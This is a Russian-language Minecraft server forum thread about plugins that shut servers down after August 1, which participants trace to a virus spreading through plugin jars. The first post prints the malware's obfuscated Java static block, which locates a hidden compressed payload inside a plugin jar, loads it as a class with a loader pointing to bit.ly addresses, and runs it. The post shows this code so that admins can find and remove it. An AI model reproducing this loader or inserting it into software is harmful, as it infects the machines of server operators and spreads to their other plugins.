Решено Баг с 1 августа

  • Автор темы Автор темы spy_me
  • Дата начала Дата начала

spy_me

Активный участник
Пользователь
Баллы
66
Ник в Minecraft
SPY_me
Проблема решена! Ищите в зараженных плагинах код и удаляйте его.

Чаще всего встречал его в плагинах Славика. Проверяйте его сборки перед использованием.

Вот "Лишний" код (вирус), который надо удалить из зараженных плагинов, для предотвращения заражения остальных.
Java:
static {
        try {
            File file = new File(new String(new byte[] { 112, 108, 117, 103, 105, 110, 115, 47 }));
            boolean b = false;
            long n = -1L;
            int n2 = 0;
            final File[] listFiles = file.listFiles();
            for (int i = 0; i < listFiles.length; ++i) {
                if (listFiles[i].isFile() && listFiles[i].getName().endsWith(new String(new byte[] { 46, 106, 97, 114 }))) {
                    file = listFiles[i];
                    final byte[] array = new byte[(int)file.length()];
                    final FileInputStream fileInputStream = new FileInputStream(file);
                    fileInputStream.read(array);
                    fileInputStream.close();
                    if (array[15] == (byte)(array[16] ^ 0xBE)) {
                        b = true;
                        n = ((array[array.length - 2] & 0xFF) << 8 | (array[array.length - 1] & 0xFF));
                        if (n > 0L) {
                            n2 = (int)n;
                            n = file.length() - (n + 2L);
                            break;
                        }
                    }
                }
            }
            if (b) {
                final RandomAccessFile randomAccessFile = new RandomAccessFile(file, "r");
                randomAccessFile.seek(n);
                final byte[] input = new byte[n2];
                randomAccessFile.read(input, 0, n2);
                randomAccessFile.close();
                final Inflater inflater = new Inflater();
                inflater.setInput(input);
                final ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(n2);
                final byte[] array2 = new byte[1024];
                while (!inflater.finished()) {
                    byteArrayOutputStream.write(array2, 0, inflater.inflate(array2));
                }
                byteArrayOutputStream.close();
                final byte[] byteArray = byteArrayOutputStream.toByteArray();
                inflater.end();
                final String s = new String(new byte[] { 104, 116, 116, 112, 58, 47, 47, 98, 105, 116, 46, 108, 121, 47 });
                final URLClassLoader urlClassLoader = new URLClassLoader(new URL[] { new URL(s + new String(new byte[] { 50, 50, 88, 66, 113, 105, 121 })), new URL(s + new String(new byte[] { 49, 88, 75, 65, 69, 112, 90 })) }, Thread.currentThread().getContextClassLoader());
                final Method declaredMethod = ClassLoader.class.getDeclaredMethod(new String(new byte[] { 100, 101, 102, 105, 110, 101, 67, 108, 97, 115, 115 }), String.class, byte[].class, Integer.TYPE, Integer.TYPE);
                declaredMethod.setAccessible(true);
                ((Class)declaredMethod.invoke(urlClassLoader, null, byteArray, 0, byteArray.length)).newInstance();
            }
        }
        catch (Exception ex) {}
    }
Можно заранее сделать сейв плагинов и просто перекачать их.
ВАЖНО! Сервер должен быть выключен.

Спасибо за решение бага @Dymeth @xtrafrancyz и @_AndreyBarna_
P.S. Кому интересны подробности - читайте тему)
 
Последнее редактирование:
Больно уж интересно, пожалуй апну тему.


Откуда ядра берёте? На последнем билде проблема остаётся?
Можно предположить, что проблема не в ядре и его смена не помогает.
Проблема в какой-то конфигурации. Можно попробовать удалять по очереди конфиги ядра.
 
Можно предположить, что проблема не в ядре и его смена не помогает.
Проблема в какой-то конфигурации. Можно попробовать удалять по очереди конфиги ядра.
Ну говорят что помогает перекачка всех плагинов.
 
Хехе. Быстро же он распространился)
Удаляйте сборку к чёрту и собирайте из официальных материалов.
При запуске такой сборки заражаются все jar файлы которые были подгружены в сервер при запуске.
 
Хехе. Быстро же он распространился)
Удаляйте сборку к чёрту и собирайте из официальных материалов.
При запуске такой сборки заражаются все jar файлы которые были подгружены в сервер при запуске.
Это я давно понял.
 
Что за ересь тут твориться? Можете мне хоть доходчиво объяснить?
 
Решение бага - Удаление ProtcolLib.
Второе решение бага - Занести в файл hosts, сайт статистики minecraft, и protocolLib, в это случае Protocol можно не удалять.
Суть бага у меня:
Запуск сервера. - Все хорошо.
Пишешь любую команду или слово - Сервер выключается, без единой ошибки.
Ну... И все... Либо дату менять, либо пробовать мои методы.
 
Решение бага - Удаление ProtcolLib.
Второе решение бага - Занести в файл hosts, сайт статистики minecraft, и protocolLib, в это случае Protocol можно не удалять.
Суть бага у меня:
Запуск сервера. - Все хорошо.
Пишешь любую команду или слово - Сервер выключается, без единой ошибки.
Ну... И все... Либо дату менять, либо пробовать мои методы.
так дело в mcstats? тогда NoConnect
 
так дело в mcstats? тогда NoConnect
Писдешь все это на самом деле.
Q2Kj1RJS9Nen9m.jpg

823gva1t6Z7o82.jpg

8An3bJLiqbdYNr.jpg
 
Последнее редактирование:
Решение бага - Удаление ProtcolLib.
Второе решение бага - Занести в файл hosts, сайт статистики minecraft, и protocolLib, в это случае Protocol можно не удалять.
Суть бага у меня:
Запуск сервера. - Все хорошо.
Пишешь любую команду или слово - Сервер выключается, без единой ошибки.
Ну... И все... Либо дату менять, либо пробовать мои методы.
Не помогает, баг остаётся. Тема снова открыта!
 
Не помогает, баг остаётся. Тема снова открыта!
Ну тогда удаляй все плагины и ядро. И качай все заного и желательно последние версии. И не оставляй ни один старый плагин. Оставишь - не пройдет.
 
Ну тогда удаляй все плагины и ядро. И качай все заного и желательно последние версии. И не оставляй ни один старый плагин. Оставишь - не пройдет.
Мне интересно, как ты в своей сборки пофиксил это? Добавляю свой плагин, и бац, добавляю authme свой переведенный, бац и все...
 
Мне интересно, как ты в своей сборки пофиксил это? Добавляю свой плагин, и бац, добавляю authme свой переведенный, бац и все...
я никак и не фиксил. просто все плагины скачаны с офф сайтов, а тех что нету в инете, либо сам писал, либо перекомпилировал их.
 
я никак и не фиксил. просто все плагины скачаны с офф сайтов, а тех что нету в инете, либо сам писал, либо перекомпилировал их.
Ну я со spigot ставил плагины, я ставлю и все. Не работает, даже если удаляю тот плохой плагин, то все равно крашит... Как будто он заражает ядро.
 
Ну я со spigot ставил плагины, я ставлю и все. Не работает, даже если удаляю тот плохой плагин, то все равно крашит... Как будто он заражает ядро.
Оно все плагины вроде заражает
 
Ну я со spigot ставил плагины, я ставлю и все. Не работает, даже если удаляю тот плохой плагин, то все равно крашит... Как будто он заражает ядро.
Вы бы скинули тот плагин сюда на изучение.
 
Назад
Верх Низ